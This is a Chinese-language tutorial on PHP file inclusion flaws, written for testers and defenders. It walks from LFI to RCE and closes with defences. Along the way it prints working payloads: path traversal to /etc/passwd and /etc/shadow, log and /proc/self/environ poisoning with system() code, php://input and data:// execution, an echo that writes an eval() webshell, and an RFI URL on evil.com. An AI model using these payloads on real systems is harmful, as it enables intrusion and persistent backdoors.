1. 项目概述理解文件包含漏洞的本质文件包含漏洞在安全圈里常被简称为“文件包含”是Web应用安全中一个经典且危害极大的漏洞类型。我第一次深入接触这个漏洞是在一次内部红蓝对抗演练中一个看似普通的图片上传功能最终却成了拿下整个内网权限的入口。很多刚入门安全的朋友可能会觉得“文件包含”听起来有点抽象不如SQL注入那么直接。其实你可以把它想象成一家餐厅的后厨管理系统。正常情况下厨师Web应用程序会根据顾客点的菜名参数值从指定的冰箱服务器目录里取出对应的食材文件进行加工。文件包含漏洞就相当于这个系统存在一个设计缺陷厨师过于信任顾客递过来的纸条纸条上写“从3号冰箱拿牛排”他照做了但如果纸条上写的是“从总经理办公室的保险柜里拿机密文件”他居然也会不假思索地去尝试执行。这个漏洞的核心在于应用程序在引入包含外部文件时对用户可控的输入参数缺乏足够的过滤和校验。攻击者通过操纵这些参数可以诱使应用程序包含并执行超出预期范围的文件比如系统敏感文件/etc/passwd、甚至是攻击者上传的恶意代码文件。根据包含的文件是否在服务器本地通常分为本地文件包含Local File Inclusion, LFI和远程文件包含Remote File Inclusion, RFI。LFI只能包含服务器本身存在的文件而RFI则可以通过URL等方式包含远程服务器上的文件后者在PHP特定配置下危害更大。我们今天的讨论重点是从相对基础的LFI开始一步步构建攻击链直至实现远程代码执行Remote Code Execution, RCE完整展示一个漏洞是如何被深度利用的。这对于防御者理解攻击者视角、构建纵深防御以及对于学习者建立完整的漏洞利用思维都至关重要。2. 漏洞原理与核心利用点深度拆解2.1 文件包含的函数与触发场景文件包含漏洞主要出现在使用文件包含函数的编程语言中最典型的就是PHP。PHP中常见的包含函数有四个include()、require()、include_once()、require_once()。它们的区别主要在于错误处理方式require在失败时会产生致命错误并停止脚本include只会产生警告和重复包含处理_once后缀会检查是否已包含。但从安全角度看它们的危险性是同等的。漏洞的触发场景非常普遍任何将用户输入直接或间接传递给这些函数作为参数的地方都可能存在风险。例如模板加载include($_GET[‘page’] . ‘.php’);用于动态加载页面头部、尾部或内容模块。文件上传后的引用上传文件后通过包含函数来调用或显示该文件。本地化/语言包加载include(‘lang/’ . $_COOKIE[‘lang’] . ‘.inc’);关键问题在于开发者往往假设用户传入的是像“about”、“contact”这样的预定义文件名但攻击者可以输入../../../etc/passwd这样的路径遍历字符串或者输入http://evil.com/shell.txt这样的远程URL如果允许RFI。2.2 从LFI到信息泄露攻击链的第一步LFI最直接的利用就是读取服务器上的敏感文件这是信息收集阶段的关键。攻击者通过路径遍历../跳出Web目录访问系统文件。常见敏感文件路径Linux/Unix系统/etc/passwd查看系统用户列表虽然密码哈希现在多在/etc/shadow但/passwd文件的存在常作为漏洞证明。/etc/shadow存储用户密码哈希若Web服务器进程权限足够高如root读取此文件可尝试离线破解。/proc/self/environ包含当前进程的环境变量。如果HTTP User-Agent等头信息被记录在此攻击者可通过控制这些HTTP头来注入代码。/var/log/apache2/access.log或/var/log/nginx/access.logWeb访问日志。攻击者可以尝试将PHP代码写入User-Agent字段然后包含该日志文件如果日志文件有可读权限且内容被当作PHP解析就能执行代码。/var/log/auth.log认证日志可能包含SSH登录信息。~/.bash_history用户的历史命令记录可能泄露敏感操作、密码等信息。利用示例与注意事项假设存在漏洞的URL为http://vuln-site.com/index.php?filewelcome.php攻击者尝试http://vuln-site.com/index.php?file../../../../etc/passwd注意路径遍历时../的数量需要根据Web根目录到目标文件的相对路径进行猜测。这是一个“猜”的过程。可以使用Burp Suite的Intruder模块配合../../../etc/passwd、../../etc/passwd等payload集进行模糊测试。实操心得编码绕过有时应用程序会过滤../字符串。可以尝试URL编码、双重URL编码、甚至UTF-8编码进行绕过。例如..%2f(/的URL编码)、%252e%252e%252f(..和/的双重编码)。空字节截断在PHP版本小于5.3.4的系统中可以在路径后添加空字节%00来截断其后缀。例如如果代码是include($_GET[‘file’] . “.php”);那么提交../../../etc/passwd%00.php后缀会被截断从而包含纯文本文件。这是一个历史性技巧在现代PHP环境中已基本失效但在一些老旧系统或CTF题目中仍可能遇到。利用PHP封装协议这是LFI利用中的一个强大跳板。php://filter协议可以用于读取文件源码即使文件扩展名不是.php。例如php://filter/convert.base64-encode/resourceindex.php。这会将index.php文件的内容进行base64编码后输出避免了直接包含执行从而可以查看源代码寻找其他漏洞如数据库密码。2.3 关键跳板利用PHP封装协议与日志文件仅仅读取文件往往不够攻击者的终极目标是执行任意代码。这就需要将LFI转化为RCE。有几个经典的“跳板”技术。1. 利用php://input执行代码当allow_url_include配置为On时默认通常为Off可以利用php://input流。这个流允许你读取POST请求的原始数据。攻击方式如下请求URLhttp://vuln-site.com/index.php?filephp://input请求方法POST请求体?php system(‘id’); ?此时file参数包含了php://input流PHP会执行POST体中的代码。2. 利用php://filter与 base64 编码php://filter在无法直接RCE时是代码审计的利器。通过convert.base64-encode过滤器可以读取任何文件的base64编码内容解码后获得源码。这对于分析应用程序逻辑、寻找其他漏洞点如硬编码密钥、SQL注入点至关重要。3. 利用日志文件注入这是将LFI转为RCE最经典、最可靠的方法之一前提是Web服务器日志如Apache的access.log文件路径可知、Web进程有读取权限、并且日志文件所在目录允许被包含。步骤一确定日志路径。通过LFI读取/etc/apache2/apache2.conf或/etc/nginx/nginx.conf等配置文件或利用常见的默认路径猜测。步骤二污染日志。向网站发起一个请求在HTTP头中嵌入PHP代码。例如使用curlcurl -H “User-Agent: ?php system($_GET[‘c’]); ?” http://vuln-site.com/这段代码会被记录到access.log的User-Agent字段。步骤三包含日志文件。访问http://vuln-site.com/index.php?file/var/log/apache2/access.log如果一切顺利服务器会解析日志文件中的PHP代码。此时可以通过传递c参数执行命令http://vuln-site.com/index.php?file/var/log/apache2/access.logcid重要提示日志文件通常很大包含时可能导致PHP内存耗尽或超时。一个技巧是在污染日志后立即发送大量正常请求将恶意代码“挤”到日志文件末尾这样包含最近写入的部分会更快。也可以尝试包含error.log有时通过触发错误并将代码写入错误信息也能成功。3. 攻击链实战从发现到RCE的完整过程3.1 环境探测与漏洞发现在实际测试中我们不会盲目猜测。首先需要进行系统性的信息收集。指纹识别使用Wappalyzer、WhatWeb等工具识别网站技术栈确认是PHP环境。参数发现使用爬虫如Burp Suite的爬虫功能或被动扫描收集所有可能的输入点特别是像page、file、load、template、lang这样的参数名。模糊测试对可疑参数进行Fuzzing。可以使用Burp IntruderPayload集合包含路径遍历../../../etc/passwd..\..\..\windows\win.iniWindowsPHP封装协议php://filter/convert.base64-encode/resourceindex.php远程包含测试http://your-collaborator-domain.com/test用于检测RFI需要配合DNS/HTTP监听工具响应分析观察服务器响应。成功包含/etc/passwd会返回特定的用户列表内容包含php://filter会返回base64编码的字符串包含不存在的文件会返回错误信息如果RFI开启且成功可能会尝试访问你提供的URL。3.2 利用链构造一个模拟实战案例假设我们发现了以下漏洞点http://target.com/portal/index.php?modulenews通过测试发现module参数存在LFIhttp://target.com/portal/index.php?module../../../../etc/passwd成功返回用户列表。第一步尝试获取Web源码利用php://filter读取index.php本身了解其周围代码http://target.com/portal/index.php?modulephp://filter/convert.base64-encode/resourceindex.php将返回的base64字符串解码我们可能看到类似代码?php $module $_GET[‘module’]; include(‘./modules/’ . $module . ‘.php’); ?这证实了漏洞成因未过滤的用户输入直接拼接进包含路径。第二步寻找可写目录与日志路径尝试包含常见日志路径如/var/log/apache2/access.log失败文件不存在或不可读。尝试包含/proc/self/environ成功返回了大量环境变量。在其中发现了HTTP_USER_AGENT...。这说明环境变量可读且User-Agent值被记录其中。第三步通过/proc/self/environ执行代码由于/proc/self/environ包含环境变量而我们可以通过HTTP请求控制User-Agent我们可以污染这个“文件”。使用Burp Repeater修改请求的User-Agent头为?php system($_GET[‘cmd’]); ?发送请求。立即再次请求包含/proc/self/environ并附加cmd参数http://target.com/portal/index.php?module../../../../../proc/self/environcmdid观察响应如果成功会看到命令id的执行结果。第四步获取稳定Shell通过environ执行代码是可行的但/proc/self/environ的内容是动态的每次请求后可能变化不稳定。我们需要上传一个持久的Webshell。通过现有的命令执行能力探测可写目录。常用命令find / -type d -perm -ow 2/dev/null | grep -v /proc。假设发现/var/www/html/uploads目录可写。使用echo命令写入一个简单的Webshellcmdecho ‘?php eval($_POST[“a”]);?’ /var/www/html/uploads/shell.php注意这里需要对特殊字符进行URL编码实际在Burp中操作更便捷访问Webshellhttp://target.com/uploads/shell.php使用POST方式传递参数asystem(‘whoami’);验证是否成功。一旦Webshell就绪就可以使用中国菜刀、蚁剑、Cobalt Strike的Beacon等工具进行更稳定的连接进一步进行内网渗透。3.3 高级绕过技巧与受限环境下的利用现代应用和WAFWeb应用防火墙会增加各种过滤需要更巧妙的绕过。路径长度截断在旧版PHP中超出一定长度的文件名会被截断。可以构造超长的../序列并在末尾附加期望的后缀有时能绕过简单的后缀检查。此法现已很少有效。点号截断在Windows环境下旧版本PHP对于文件名末尾的.会进行去除可以利用file../../boot.ini.或file../../boot.ini …点空格进行绕过。协议包装器嵌套利用php://filter的多种过滤器进行嵌套有时可以绕过对php://的简单字符串匹配。例如php://filter/readconvert.base64-encode/resourceindex.php。利用/proc/self/fd/目录该目录包含当前进程打开的文件描述符。有时可以通过包含/proc/self/fd/[数字]来访问临时文件或进程信息但利用条件苛刻。利用PHP Session文件如果攻击者能控制部分Session内容如PHPSESSID对应的文件内容并且知道Session文件的存储路径如/tmp/sess_[PHPSESSID]可以通过LFI包含该Session文件来执行代码。这需要能够向Session中写入PHP代码通常结合其他漏洞如反序列化使用。4. 防御策略与安全开发实践理解了攻击链防御思路就清晰了在每一个可能被利用的环节设置障碍。4.1 输入验证与白名单机制最有效的防御是根本不允许用户控制包含的文件路径。如果业务必须动态包含应使用白名单机制。// 错误示范 $page $_GET[‘page’]; include($page . ‘.php’); // 正确示范白名单 $allowed_pages array(‘home’, ‘about’, ‘contact’); $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/error.php’); }4.2 路径过滤与规范化如果白名单不可行必须对输入进行严格过滤和规范化。过滤特殊字符严格过滤输入中的../、..\、:、http://、ftp://、php://等字符。但要注意绕过技巧如编码。使用basename()函数该函数返回路径中的文件名部分会剥离目录路径。include(basename($_GET[‘file’]))可以防止路径遍历但前提是所需文件就在当前目录。路径规范化使用realpath()函数解析绝对路径然后检查该路径是否在允许的目录内。$base_dir ‘/var/www/html/includes/’; $user_path $_GET[‘file’]; $real_path realpath($base_dir . $user_path); // 检查规范化后的路径是否以$base_dir开头 if ($real_path ! false strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘非法访问’); }4.3 安全配置与运维加固PHP配置将php.ini中的allow_url_fopen和allow_url_include均设置为Off彻底关闭远程文件包含功能。设置open_basedir将PHP可访问的文件限制在特定目录树内。禁用危险的PHP函数如eval()、system()、exec()、shell_exec()等可以在php.ini的disable_functions中设置。Web服务器配置为Web服务进程如www-data, nginx分配最小必要权限避免以root身份运行。严格控制日志目录、上传目录等敏感目录的权限确保Web进程只有读写其必需文件的权限。定期更新Web服务器、PHP及应用程序修复已知漏洞。应用程序架构避免使用动态包含。采用路由机制如MVC框架由控制器根据路由参数调用固定的视图文件。使用安全的模板引擎如Twig, Smarty它们通常有自己的模板加载机制不易受到文件包含漏洞影响。对用户上传的文件进行严格的重命名如使用随机哈希值、存储在Web根目录之外、并强制进行文件类型检查检查MIME类型而非仅后缀。5. 常见问题排查与实战心得Q1为什么我包含/etc/passwd成功了但包含日志文件却没执行代码A1可能的原因有1) 日志文件路径不正确2) Web进程对日志文件没有读取权限3) 日志文件内容被HTML转义?php ?标签被破坏4) 日志文件过大包含超时5) 最关键的一点PHP代码只有在被include等函数包含时才会被解析执行而日志文件本身是.log或.txt后缀默认不会被PHP解析器处理。只有当应用程序通过include函数将其内容读入PHP执行上下文时其中的?php ?标签才会被识别和执行。直接通过浏览器访问日志文件URL是不会执行PHP的。Q2在CTF或演练中遇到过滤了../和php关键字怎么办A2尝试编码绕过。例如将../转换为..%2f或%252e%252e%252f。对于php可以尝试大小写混合pHp、插入空字符ph%00p仅限旧版本、或利用某些环境下的宽松解析。另外可以尝试使用PHP协议的其他写法如PHP://大写或者利用file://协议虽然它是本地文件包含但有时没被过滤。还可以考虑使用data://协议需allow_url_include开启如data://text/plain,?php phpinfo();?。Q3如何判断目标是否开启了allow_url_includeA3最直接的方法是尝试RFI。在参数中提交一个你自己控制的URL如http://your-server.com/test.txt内容为?php echo ‘success’;?观察响应。如果返回了success则开启。也可以尝试包含php://input并POST一段PHP代码。此外如果条件允许通过LFI读取php.ini配置文件是最准确的方式。个人实战心得文件包含漏洞的利用本质上是一场信息战和条件拼凑的游戏。成功的RCE往往需要多个条件同时满足找到包含点、发现可读写的敏感文件日志、环境变量、Web进程有足够权限、目标系统配置存在缺陷。在实战中不要只盯着/etc/passwd。要像攻击者一样思考系统地收集信息尝试读取应用配置文件找数据库连接字符串、读取/proc下的信息了解系统环境、检查/tmp等临时目录的权限。很多时候一个漏洞无法直接RCE但它泄露的信息会成为攻破另一个漏洞的钥匙。防御时也一样不能只修补一个点需要建立从输入验证、安全配置、权限最小化到安全监控的完整体系。每次测试后我都会问自己如果我是管理员我该如何配置才能堵住我今天利用的所有路径这种换位思考对提升攻防两端的水平都大有裨益。